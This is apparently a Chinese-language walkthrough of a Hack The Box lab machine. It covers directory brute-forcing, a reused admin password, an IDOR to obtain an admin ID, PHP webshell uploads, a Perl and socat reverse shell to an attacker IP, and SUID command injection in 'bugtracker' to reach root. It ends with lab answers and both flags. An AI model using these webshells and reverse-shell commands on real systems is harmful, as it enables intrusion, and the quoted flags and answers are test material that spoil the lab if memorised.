AI摘要:本文记录了一次渗透测试,通过目录爆破发现上传路径,利用弱口令登录后台,通过修改ID参数实现IDOR漏洞,获取管理员权限。上传一句话木马获取webshell,通过db.php文件获取数据库密码,反弹shell,利用SUID程序bugtracker提权至root,最终获取root flag。

首先使用gobuster进行目录爆破

gobuster dir -u http://10.129.188.198/ -w /usr/share/wordlists/dirb/common.txt

Pasted image 20250529183007.png
发现/uploads路径,这对之后的渗透至关重要
访问http://10.129.188.198
Pasted image 20250529183527.png
注意邮箱是admin@megacorp
而Archetype 的管理员密码是 MEGACORP_4dm1n!!,看上去像是 MegaCorp admin 的变形,我们等会看看
照例查看网站源代码,发现疑似登录口login
Pasted image 20250529183755.png
我们根据线索进入 http://10.129.188.198/cdn-cgi/login/
Pasted image 20250529184120.png
如愿看见登录口,并且发现账户名是admin,而不是Archetype的administrator
尝试使用admin/MEGACORP_4dm1n!!登录
Pasted image 20250529184418.png
意外之喜,竟然真的进去了
Pasted image 20250603172434.png
可以看到是能用Guest登陆的,Acess ID为2333
注意网站为 http://10.129.188.198/cdn-cgi/login/admin.php?content=accounts&id=2
既然Guest为id=2,我们猜测admin即为id=1,
http://10.129.188.198/cdn-cgi/login/admin.php?content=accounts&id=1
访问后得到管理员ID:34322
Pasted image 20250603172912.png
访问/upload,发现403
我们查找整个网站的线索,发现了upload点,
Pasted image 20250529184739.png
使用一句话木马

<?php @eval($_POST['attack']);?>

Pasted image 20250529190451.png
蚁剑进行连接
Pasted image 20250529190515.png

但权限很低,是 www-data ,需要提权。
![[Pasted image 20250529190915.png]]
查看登陆点

cd /var/www/html/cdn-cgi/login

Pasted image 20250529191043.png
发现db.php
Pasted image 20250529191623.png
拿到密码
然后发现一个尴尬的事情,权限掉了(),可能是一句话木马被杀掉了,不过还好拿到了密码,我们可以另辟蹊径,通过反弹shell来继续
nc监听

nc -nvlp 4444

shell.php

<?php echo shell_exec($_GET['shell']);?>

访问

http://10.129.188.198/uploads/shell.php?shell=perl%20-MIO%20-e%20%27$p=fork;exit,if($p);$c=new%20IO::Socket::INET(PeerAddr,%2210.10.16.9:4444%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27

Pasted image 20250529193159.png
拿到的反弹 Shell 是非交互式的,为便于操作,下载 socat,并使用 socat 发起新的反弹 Shell 到 3333 端口,操作如下图所示
启动web服务

mkdir -p /home/kali/web
cp /usr/bin/socat /home/kali/web/
cd /home/kali/web
python3 -m http.server 80

Pasted image 20250603192041.png
对已拿到低权限的shell进行操作

perl -e 'exec "/bin/sh";'
wget http://10.10.16.15/socat
ls
chmod +x socat
./socat exec:'/bin/bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.16.15:6666

使用script命令

script -qc /bin/bash /dev/null
SHELL=/bin/bash script -q /dev/null

查看具有 SUID 的可执行文件

ls -lh $(find / -perm -u=s -type f 2>/dev/null)

看到了一个奇怪的程序

-rwsr-xr-- 1 root   bugtracker      8.6K Jan 25 10:14 /usr/bin/bugtracker

这个程序得是 root 或是 bugtracker 组的用户才能执行。用 cat /etc/group | grep bugtracker 查看 bugtracker 组的用户,看到 robert 恰好在其中

cat /etc/group | grep bugtracker

Pasted image 20250604205349.png
执行bugtracker
Pasted image 20250604205456.png
可以看到调用了cat
再次执行bugtracker
ID输入

111;/bin/bash

Pasted image 20250604205713.png
拿到root权限

信息收集

ls -lRa /root
cat root.txt

Pasted image 20250604210033.png
拿到根flag:af13b0bee69f8a877c3faf667f7beacf

1.用什么工具可以拦截网络流量?
PS: proxy
2.返回登录页面的网络服务器上的目录路径是什么?
PS: /cdn-cgi/login
3.在 Firefox 中可以进行哪些修改才能访问上传页面?
PS: Cookie
4.管理员用户的访问 ID 是什么?
PS: 34322
5.上传文件后,该文件出现在服务器上的哪个目录中?
PS: /uploads

6.包含与 robert 用户共享的密码的文件是什么?
PS: db.php

7.使用选项“-group bugtracker”运行哪个可执行文件来识别 bugtracker 组拥有的所有文件?
PS: find

8.无论哪个用户开始运行 bugtracker 可执行文件,将使用什么用户权限来运行?
PS: root

9.SUID 代表什么?
PS: Set owner User ID

10.以不安全方式调用的可执行文件的名称是什么?
PS: cat

11.提交用户标志
PS: f2c74ee8db7983851ab2a96a44eb7981

12.提交根标志
PS: af13b0bee69f8a877c3faf667f7beacf

最后修改:2025 年 07 月 27 日
如果觉得我的文章对你有用,请随意赞赏